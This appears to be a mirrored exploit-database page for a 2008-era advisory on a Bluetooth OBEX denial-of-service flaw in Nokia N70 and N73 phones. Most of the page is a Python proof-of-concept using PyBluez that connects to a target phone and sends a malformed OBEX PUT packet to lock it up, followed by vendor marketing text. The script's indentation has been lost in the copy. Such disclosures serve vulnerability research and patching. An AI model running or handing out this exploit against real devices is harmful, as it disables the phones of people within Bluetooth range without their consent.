source: http://www.securityfocus.com/bid/32796/info
Multiple Nokia phones are prone to a remote denial-of-service vulnerability in their handling of the Object Exchange protocol.
Attackers may exploit this issue to crash a vulnerable phone, creating a denial-of-service condition. Note that attackers must be able to communicate with the device via Bluetooth to take advantage of this issue.
This issue is reported in N70 and N73 phones; additional devices may also be vulnerable.
# PoC code to demonstrate the flaw in the OBEX implementation of Nokia phones
# Tested under Windows XP SP2
# Coded by the penetration test team Of NCNIPC (China)
# PyBluez are required to run the code
from bluetooth import *
# Bluetooth address and OBEX channel of the target device
# Replace them with the appropriate values for your device
target = ("00:15:A0:F9:E6:03", 10)
# Make a connection
sock = BluetoothSocket(RFCOMM)
sock.connect(target)
# Connect to the OBEX service
connect_pkg = "\x80\x00\x07\x10\x00\xff\xfe"
sock.send(connect_pkg)
con_recv=sock.recv(20)
if con_recv[0]=='\xa0':
# Now we are connected
# The name string that consists of a single 0x0009 character, which will
# cause the phone to lock up
name_str = "\x00\x09"
# Construct and send the malformed packet
name_header = "\x01\x00" + chr(len(name_str) + 5) + name_str + "\x00\x00";
body_header = "\x49\x00\xa0\x42\x45\x47\x49\x4e\x3a\x56\x43\x41\x52\x44\x0d\x0a\x56\x45\x52\x53\x49\x4f\x4e\x3a\x32\x2e\x31\x0d\x0a\x4e\x3b\x45\x4e\x43\x4f\x44\x49\x4e\x47\x3d\x38\x42\x49\x54\x3b\x43\x48\x41\x52\x53\x45\x54\x3d\x55\x54\x46\x2d\x38\x3a\x42\x6c\x6f\x67\x67\x73\x3b\x4a\x6f\x65\x0d\x0a\x54\x45\x4c\x3b\x50\x52\x45\x46\x3b\x43\x45\x4c\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x54\x45\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x45\x4d\x41\x49\x4c\x3a\x72\x6f\x6f\x74\x40\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0d\x0a\x45\x4e\x44\x3a\x56\x43\x41\x52\x44\x0d\x0a"
put_pkg = "\x82\x00" + chr(len(name_header) + len(body_header) + 3) + name_header + body_header
print "Packet dump: ", binascii.b2a_hex(put_pkg)
sock.send(put_pkg)
print "Packet sent"
try:
resp = sock.recv(20)
print "Response dump: %s" %(binascii.b2a_hex(resp))
except:
print "Failed to receive response: ", sys.exc_info()[0]
sock.close()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation